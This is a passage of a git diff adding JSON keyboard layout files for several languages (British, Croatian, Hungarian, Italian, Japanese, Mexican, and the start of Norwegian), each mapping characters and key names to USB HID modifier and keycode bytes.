"WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "~":"40,00,1f", + "#":"40,00,20", + "{":"40,00,21", + "[":"40,00,22", + "|":"40,00,23", + "`":"40,00,24", + "\\":"40,00,25", + "^":"40,00,26", + "@":"40,00,27", + "]":"40,00,2d", + "}":"40,00,2e", + "COMMAND-CTRL-SHIFT":"40,00,2e", + "COMMAND-CTRL":"40,00,2e", + "COMMAND-OPTION-SHIFT'":"40,00,2e" +} \ No newline at end of file diff --git a/languages/gb.json b/languages/gb.json new file mode 100644 index 0000000..2fd45d8 --- /dev/null +++ b/languages/gb.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "-":"00,00,2d", + "=":"00,00,2e", + "[":"00,00,2f", + "]":"00,00,30", + "#":"00,00,31", + ";":"00,00,33", + "'":"00,00,34", + "`":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "/":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "\\":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "$":"02,00,21", + "%":"02,00,22", + "^":"02,00,23", + "&":"02,00,24", + "*":"02,00,25", + "(":"02,00,26", + ")":"02,00,27", + "_":"02,00,2d", + "+":"02,00,2e", + "{":"02,00,2f", + "}":"02,00,30", + "~":"02,00,31", + ":":"02,00,33", + "@":"02,00,34", + "<":"02,00,36", + ">":"02,00,37", + "?":"02,00,38", + "|":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT'":"12,00,00" +} \ No newline at end of file diff --git a/languages/hr.json b/languages/hr.json new file mode 100644 index 0000000..ba1acd7 --- /dev/null +++ b/languages/hr.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "+":"00,00,2e", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "*":"02,00,2e", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "{":"40,00,05", + "[":"40,00,09", + "]":"40,00,0a", + "}":"40,00,11", + "\\":"40,00,14", + "@":"40,00,19", + "|":"40,00,1a", + "~":"40,00,1e", + "^":"40,00,20", + "`":"40,00,24", + "COMMAND-CTRL-SHIFT":"40,00,24", + "COMMAND-CTRL":"40,00,24", + "COMMAND-OPTION-SHIFT'":"40,00,24" +} \ No newline at end of file diff --git a/languages/hu.json b/languages/hu.json new file mode 100644 index 0000000..71cae1f --- /dev/null +++ b/languages/hu.json @@ -0,0 +1,187 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":" Hungarian QWERTZ language made by Skeleton022", + "__comment":" Added áéíóöőúüűÁÉÍÓÖŐÚÜŰ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "ö":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "ü":"00,00,2d", + "ó":"00,00,2e", + "ő":"00,00,2f", + "ú":"00,00,30", + "ű":"00,00,31", + "é":"00,00,33", + "á":"00,00,34", + "0":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "í":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "'":"02,00,1e", + "\"":"02,00,1f", + "+":"02,00,20", + "!":"02,00,21", + "%":"02,00,22", + "/":"02,00,23", + "=":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "Ö":"02,00,27", + "Ü":"02,00,2d", + "Ó":"02,00,2e", + "Ő":"02,00,2f", + "Ú":"02,00,30", + "Ű":"02,00,31", + "É":"02,00,33", + "Á":"02,00,34", + "?":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + "Í":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT'":"12,00,00", + "{":"40,00,05", + "&":"40,00,06", + "[":"40,00,09", + "]":"40,00,0a", + "}":"40,00,11", + "\\":"40,00,14", + "@":"40,00,19", + "|":"40,00,1a", + "#":"40,00,1b", + ">":"40,00,1d", + "~":"40,00,1e", + "^":"40,00,20", + "`":"40,00,24", + "$":"40,00,33", + ";":"40,00,36", + "*":"40,00,38", + "<":"40,00,64" +} diff --git a/languages/it.json b/languages/it.json new file mode 100644 index 0000000..e6f90a5 --- /dev/null +++ b/languages/it.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "+":"00,00,30", + "\\":"00,00,35", + "`":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "^":"02,00,2e", + "*":"02,00,30", + "|":"02,00,35", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "[":"40,00,2f", + "]":"40,00,30", + "@":"40,00,33", + "#":"40,00,34", + "~":"40,00,34", + "{":"42,00,2f", + "}":"42,00,30", + "COMMAND-CTRL-SHIFT":"40,00,30", + "COMMAND-CTRL":"40,00,30", + "COMMAND-OPTION-SHIFT'":"40,00,30" +} diff --git a/languages/jp.json b/languages/jp.json new file mode 100644 index 0000000..9c3506f --- /dev/null +++ b/languages/jp.json @@ -0,0 +1,172 @@ +{ + "__comment": "All numbers here are in hex format and 0x is ignored.", + "__comment": " ", + "__comment": "This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment": " See section 10 Keyboard/Keypad Page (0x07)", + "__comment": " of document USB HID Usage Tables Version 1.12.", + "__comment": " ", + "__comment": "Definition of these 3 bytes can be found", + "__comment": " in section B.1 Protocol 1 (Keyboard)", + "__comment": " of document Device Class Definition for HID Version 1.11", + "__comment": " - byte 1: Modifier keys", + "__comment": " - byte 2: Reserved", + "__comment": " - byte 3: Keycode 1", + "__comment": " ", + "__comment": "Both documents can be obtained from link here", + "__comment": " http://www.usb.org/developers/hidpage/", + "__comment": " ", + "__comment": "A = LeftShift + a, { = LeftShift + [", + "__comment": " ", + "CTRL": "01,00,00", + "CONTROL": "01,00,00", + "SHIFT": "02,00,00", + "ALT": "04,00,00", + "GUI": "08,00,00", + "WINDOWS": "08,00,00", + "CTRL-ALT": "05,00,00", + "CTRL-SHIFT": "03,00,00", + "ALT-SHIFT": "06,00,00", + "__comment": "Below 5 key combinations are for Mac OSX", + "__comment": "Example: (COMMAND-OPTION SHIFT t) to open terminal", + "COMMAND": "08,00,00", + "COMMAND-CTRL": "09,00,00", + "COMMAND-CTRL-SHIFT": "0B,00,00", + "COMMAND-OPTION": "0C,00,00", + "COMMAND-OPTION-SHIFT": "0E,00,00", + "a": "00,00,04", + "A": "02,00,04", + "b": "00,00,05", + "B": "02,00,05", + "c": "00,00,06", + "C": "02,00,06", + "d": "00,00,07", + "D": "02,00,07", + "e": "00,00,08", + "E": "02,00,08", + "f": "00,00,09", + "F": "02,00,09", + "g": "00,00,0a", + "G": "02,00,0a", + "h": "00,00,0b", + "H": "02,00,0b", + "i": "00,00,0c", + "I": "02,00,0c", + "j": "00,00,0d", + "J": "02,00,0d", + "k": "00,00,0e", + "K": "02,00,0e", + "l": "00,00,0f", + "L": "02,00,0f", + "m": "00,00,10", + "M": "02,00,10", + "n": "00,00,11", + "N": "02,00,11", + "o": "00,00,12", + "O": "02,00,12", + "p": "00,00,13", + "P": "02,00,13", + "q": "00,00,14", + "Q": "02,00,14", + "r": "00,00,15", + "R": "02,00,15", + "s": "00,00,16", + "S": "02,00,16", + "t": "00,00,17", + "T": "02,00,17", + "u": "00,00,18", + "U": "02,00,18", + "v": "00,00,19", + "V": "02,00,19", + "w": "00,00,1a", + "W": "02,00,1a", + "x": "00,00,1b", + "X": "02,00,1b", + "y": "00,00,1c", + "Y": "02,00,1c", + "z": "00,00,1d", + "Z": "02,00,1d", + "1": "00,00,1e", + "!": "02,00,1e", + "2": "00,00,1f", + "\"": "02,00,1f", + "3": "00,00,20", + "#": "02,00,20", + "4": "00,00,21", + "$": "02,00,21", + "5": "00,00,22", + "%": "02,00,22", + "6": "00,00,23", + "&": "02,00,23", + "7": "00,00,24", + "'": "02,00,24", + "8": "00,00,25", + "(": "02,00,25", + "9": "00,00,26", + ")": "02,00,26", + "0": "00,00,27", + "ENTER": "00,00,28", + "ESC": "00,00,29", + "ESCAPE": "00,00,29", + "BACKSPACE": "00,00,2a", + "TAB": "00,00,2b", + "ALT-TAB": "04,00,2b", + "SPACE": "00,00,2c", + " ": "00,00,2c", + "-": "00,00,2d", + "=": "02,00,2d", + "^": "00,00,2e", + "~": "02,00,2e", + "@": "00,00,2f", + "`": "02,00,2f", + "[": "00,00,30", + "{": "02,00,30", + "\\": "00,00,31", + "|": "02,00,31", + "]": "00,00,32", + "}": "02,00,32", + ";": "00,00,33", + "+": "02,00,33", + ":": "00,00,34", + "*": "02,00,34", + ",": "00,00,36", + "<": "02,00,36", + ".": "00,00,37", + ">": "02,00,37", + "/": "00,00,38", + "?": "02,00,38", + "CAPSLOCK": "00,00,39", + "F1": "00,00,3a", + "F2": "00,00,3b", + "F3": "00,00,3c", + "F4": "00,00,3d", + "F5": "00,00,3e", + "F6": "00,00,3f", + "F7": "00,00,40", + "F8": "00,00,41", + "F9": "00,00,42", + "F10": "00,00,43", + "F11": "00,00,44", + "F12": "00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK": "00,00,47", + "PAUSE": "00,00,48", + "BREAK": "00,00,48", + "INSERT": "00,00,49", + "HOME": "00,00,4a", + "PAGEUP": "00,00,4b", + "DELETE": "00,00,4c", + "DEL": "00,00,4c", + "END": "00,00,4d", + "PAGEDOWN": "00,00,4e", + "RIGHTARROW": "00,00,4f", + "RIGHT": "00,00,4f", + "LEFTARROW": "00,00,50", + "LEFT": "00,00,50", + "DOWNARROW": "00,00,51", + "DOWN": "00,00,51", + "UPARROW": "00,00,52", + "UP": "00,00,52", + "NUMLOCK": "00,00,53", + "MENU": "00,00,65", + "APP": "00,00,65" +} diff --git a/languages/mx.json b/languages/mx.json new file mode 100644 index 0000000..299638e --- /dev/null +++ b/languages/mx.json @@ -0,0 +1,177 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "¿":"00,00,2e", + "´":"00,00,2f", + "+":"00,00,30", + "}":"00,00,31", + "ñ":"00,00,33", + "{":"00,00,34", + "|":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "¡":"02,00,2e", + "¨":"02,00,2f", + "*":"02,00,30", + "]":"02,00,31", + "Ñ":"02,00,33", + "[":"02,00,34", + "°":"02,00,35", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "\\":"05,00,2d", + "~":"05,00,30", + "`":"05,00,31", + "^":"05,00,34", + "¬":"05,00,35", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT":"12,00,00", + "@":"40,00,14" +} diff --git a/languages/no.json b/languages/no.json new file mode 100644 index 0000000..6db1c2c --- /dev/null +++ b/languages/no.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + 